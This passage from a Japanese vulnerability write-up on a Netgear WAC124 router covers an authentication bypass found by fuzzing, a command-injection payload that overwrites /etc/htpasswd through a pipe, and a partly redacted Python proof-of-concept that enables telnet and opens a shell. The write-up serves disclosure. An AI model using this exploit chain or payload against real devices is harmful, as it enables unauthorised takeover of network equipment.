この時点で、この文字列チェックはバイパス可能であることがわかり、また、サーバーから予期せぬ動作が起きていることもわかりました。
HTTPリクエストのファジング
クエリ文字列によるバイパスの可能性を発見した後、curlでHTTPリクエストを送信したときに、いくつかの奇妙な動作も発見しました。
$ curl 'http://192.168.0.100/test' -v * Trying 192.168.0.100... * TCP_NODELAY set * Connected to 192.168.0.100 (192.168.0.100) port 80 (#0) > GET /test HTTP/1.1 > Host: 192.168.0.100 > User-Agent: curl/7.64.1 > Accept: */* > (null) 403 Forbidden Server: mini_httpd/1.24 10May2016 Date: Tue, 07 Sep 2021 11:32:54 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>403 Forbidden</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>403 Forbidden</h4> Curl is forbidden </BODY> </HTML> * Closing connection 0
出力の最初の行を見てください。レスポンスとして (null) 403 Forbidden
を送信しています。
この時点で、私はこれ以上考えるのをやめました。 mini_httpd
には多くの未知の動作があり、根本的な原因を突き止めるのは困難なように思えたからです。更なる調査の代わりに、mini_httpd
のバイパスとなりうるものをいくつか見つけるために、シンプルなHTTPパスファザーを書くことにしました。
20~30分ほどファザーを実行したところ、認証をバイパスし、事前認証なしで next_file
で指定したファイルにアクセスすることができました。
皆さんの宿題とするために実際のペイロードを削除しています。HTTPファザーを作るのも楽しいはずです。
NETGEARの他のモデルでも認証バイパスを見つけることは可能だと思うので、是非チャレンジしてみてください。他のセキュリティ研究者もパスをファジングすることで似たような、もしくは同じバグを発見しているようでしたので、自分でファザーを作るのもいいかもしれませんよ 🙂
とにかく、私は有効なパスをprefixとして持つURLに対する愚直な実装のファザーを開発しました。私のファザーのようなものを作って、HTTPプロトコルのファジングを行うことができるかもしれません。
curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v * Trying 192.168.0.100... * TCP_NODELAY set * Connected to 192.168.0.100 (192.168.0.100) port 80 (#0) > GET /***REDACTED*** HTTP/1.1 > Host: 192.168.0.100g > Accept: */* > User-Agent: Mozilla/5.0 > ***REDACTED*** HTTP/1.1 200 Ok Server: mini_httpd/1.24 10May2016 Date: Tue, 07 Sep 2021 12:09:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7441 Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><link rel="stylesheet" href="style/top.css"> <script language="javascript" type="text/javascript" src="funcs.js"></script> <script language="javascript" type="text/javascript" src="top.js"></script> <script language="javascript" type="text/javascript" src="string.js"></script> <script language="javascript" type="text/javascript" src="utility.js"></script> <script language="javascript" type="text/javascript" src="linux.js"></script> <link rel="stylesheet" href="style/form.css"> <script language="javascript" type="text/javascript"> //NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0 var telnet_status = "@dbg_telnet_stat#"; var wan_mirror_status = "@dbg_wan_mirror_stat#"; var dbg_store_location = "@dbg_storage_location#"; var dbg_wifi_band = "@dbg_wifi_band#"; var dbg_button_status = "@dbg_button_status#"; var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#"; ... <div id="other"> <table width="100%" border="0" cellpadding="0" cellspacing="2"> <tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr> <tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr> <tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr> </table> </div> <!--<input type="hidden" name="todo" value="changelanguage">--> <input type="hidden" name="this_file" value="debug.htm"> <input type="hidden" name="next_file" value="debug.htm"> <input type="hidden" name="SID" value="@SID#"> <input type="hidden" name="h_language" value="@h_language#"> </form> <script language="javascript" type="text/javascript" src="langs.js"></script> </body> </html> * Closing connection 0
コマンドインジェクションの発見
これで、認証バイパスが動作するようになり、Telnetコンソールをオンにしてシェルにアクセスすることが簡単にできるようになりました。しかし、まだ問題が残っています。管理者の認証情報を持っていないのです。
先ほど紹介した任意のファイルの読み取りもありますが、USBドライブを利用する等の前提条件が必要なため、ここでは無視します。
改めて setup.cgi
のコードを見返してみると、COMMAND
関数というものがあり、この関数は一般的な system()
関数のように動作するようですが、フォーマット文字列をサポートしているようです。
************************************************************** * THUNK FUNCTION * ************************************************************** thunk undefined COMMAND() Thunked-Function: <EXTERNAL>::COMMAND assume t9 = 0x4a0e10 undefined v0:1 <RETURN> <EXTERNAL>::COMMAND XREF[210]: Entry Point(*), vuln_func1:00409ad8(c), vuln_func1:00409b2c(c), vuln_func1:00409be0(c), FUN_0040b9ec:0040bb88(c), FUN_0040ca70:0040cf98(c), FUN_0040ca70:0040d04c(c), FUN_0040ca70:0040d07c(c), FUN_0040d808:0040d8cc(c), FUN_0040d808:0040d8e4(c), FUN_004138f8:00413930(c), FUN_00413998:004139cc(c), FUN_00413a50:00414c5c(c), FUN_00415f94:00415fa4(j), FUN_00450968:00450a88(c), FUN_00450968:00450aa0(c), FUN_0046a880:0046a990(c), FUN_004858dc:004859e0(c), FUN_004858dc:004859f8(c), del_folder:00495aa8(c), [more] 004a0e10 10 80 99 8f lw t9,-0x7ff0(gp)=>__DT_PLTGOT = 00000000 assume t9 = <UNKNOWN> 004a0e14 21 78 e0 03 move t7,ra 004a0e18 09 f8 20 03 jalr t9 004a0e1c 9c 01 18 24 _li t8,0x19c
当該関数の呼び出し元となる関数を調査していたところ、iTunes Serverのパスワードを設定する関数がありました。この関数は、remote_passcode
が有効な名前である場合、/tmp/itunes/apple.remote
にパスワードを書き込みます。
// 004d99d0 44 dc 4a 00 addr s_iserver_allow_ctrl_004adc44 = "iserver_allow_ctrl" // 004d99d4 d4 87 40 00 addr FUN_004087d4 undefined4 FUN_004087d4(undefined4 param_1) { undefined4 uVar1; int iVar2; char *pcVar3; uVar1 = find_val(param_1,"remote_passcode"); iVar2 = test_command_inject(uVar1); if (iVar2 == 0) { uVar1 = find_val(param_1,"this_file"); alert("Invalid passcode value!",uVar1); uVar1 = 0xffffffff; } else { uVar1 = find_val(param_1,"remote_passcode"); nvram_set("remote_passcode",uVar1); nvram_commit(); pcVar3 = (char *)nvram_get("remote_passcode"); if (pcVar3 == (char *)0x0) { pcVar3 = ""; } if (*pcVar3 != '\0') { COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote"); COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3); } sleep(2); uVar1 = find_val(param_1,"this_file"); html_parser(uVar1,param_1,key_fun_tab); uVar1 = 0; } return uVar1; }
しかし、実際に COMMAND
関数が実行される前に、test_command_inject
というチェック関数があることがわかります。test_command_inject
関数を見てみましょう。
undefined4 test_command_inject(char *param_1) { char *pcVar1; FILE *__stream; pcVar1 = strstr(param_1,"/bin"); if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) && (pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) { return 1; } __stream = fopen("/dev/console","a+"); if (__stream != (FILE *)0x0) { fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e); fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1); fclose(__stream); } return 0; }
/bin
, /sbin
, `
がブロックされていることがわかります。幸い、縦棒(|
)がチェック関数にブロックされることはありません。
コマンドは /bin/echo [input] >> /tmp/itunes/apple.remote
なので admin:styexp>/etc/htpasswd|
のように入れると、最終的な実行では次のようになります。
/bin/echo admin:styexp>/etc/htpasswd|>/tmp/itunes/apple.remote
この方法で、/etc/htpasswd
をコマンドインジェクションの脆弱性を利用して上書きすることができます。この関数から直接認証情報を設定できるため、漏洩させる必要はありません。
前提条件なしのRCE PoC
エクスプロイトコード
上記で発見された脆弱性によって、認証なしで管理者の認証情報を任意に変更できるようになりました。
これにより、www.routerlogin.com
にアクセスできる攻撃者なら誰でも前提条件なしで実行して、サーバーからシステムシェルを取得することができます。
インターネット上で悪用されるのを防ぐために、今のところはエクスプロイトコードの一部を削除することにしました。しかし、このスニペットを動作させることはそれほど難しくはないはずです。
#!/usr/bin/python -u # -*- coding: utf-8 -*- """ Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc. Developer: stypr @ Flatt Security Inc. Website: https://harold.kim/, https://flatt.tech/ Date: 2021-07-07 This exploit contains two vulnerabilities. - Authentication Bypass - This will gain privileges for admin - Also, it will trigger - Command Injection - Since we have the admin privilege, we can now have more features available. - Some of codes are vulnerable to command injection, in which we can overwrite admin password. - There are filters available, but currently it is possible to bypass filters. """ ... # Real functions start here def check_vulnerable(): """ Check if the server is vulnerable. """ debug_htm = "CHANGEME" resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm) resp = resp.decode() if "Enable Telnet" in resp: print("[.] It seems to be exploitable!") return True return False def trigger_telnet_on(): """ Trigger telnet on by authentication bypass """ todo = "CHANGEME" debug_htm = "CHANGEME" # Note: todo is bypassed resp = send_get_request( path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm, ) resp = resp.decode() if "Enable Telnet" in resp: return True return False def command_injection(): """ Trigger command injection to overwrite /etc/htpasswd """ todo = "CHANGEME" usb_media = "CHANGEME" remote_passcode = "admin:styexp%3E/etc/htpasswd|" # Note: todo is bypassed resp = send_get_request( path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media ) resp = resp.decode() if "itunes_server_enable" in resp: return True return False def trigger_shell(username, password): """ Triggering shell """ with Telnet(HOST, 23) as session: session.read_until(b"login: ") session.write(username.encode() + b"\n") session.write(password.encode() + b"\n") session.interact() if __name__ == "__main__": print("[*] Checking if the bug is exploitable...") result = check_vulnerable() if not result: print("[-] Maybe it is not exploitable......") sys.exit(-1) print("[*] Enabling telnet...") result = trigger_telnet_on() if not result: print("[-] Failed to trigger telnet on.. Maybe it's fixed.") sys.exit(-1) print("[*] Overwriting /etc/htpasswd...") result = command_injection() if not result: print("[-] Failed to overwrite /etc/htpasswd") sys.exit(-1) print("[*] Triggering shell...") trigger_shell("admin", "styexp")
デモ映像
デモ動画には、上記のPoCコードを実際に動作させたエクスプロイトが含まれています。このエクスプロイトでは、認証をバイパスし、認証情報を上書きするコマンドインジェクションを実行し、不正なユーザーでありながらシェルを立ち上げます。
Flatt Securityについて
株式会社Flatt Securityはセキュリティ診断サービスを提供しています。
セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。
数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!
ここまでお読みいただきありがとうございました。
備考
本記事のオリジナルの英語版はNETGEARのセキュリティチームによって確認済です。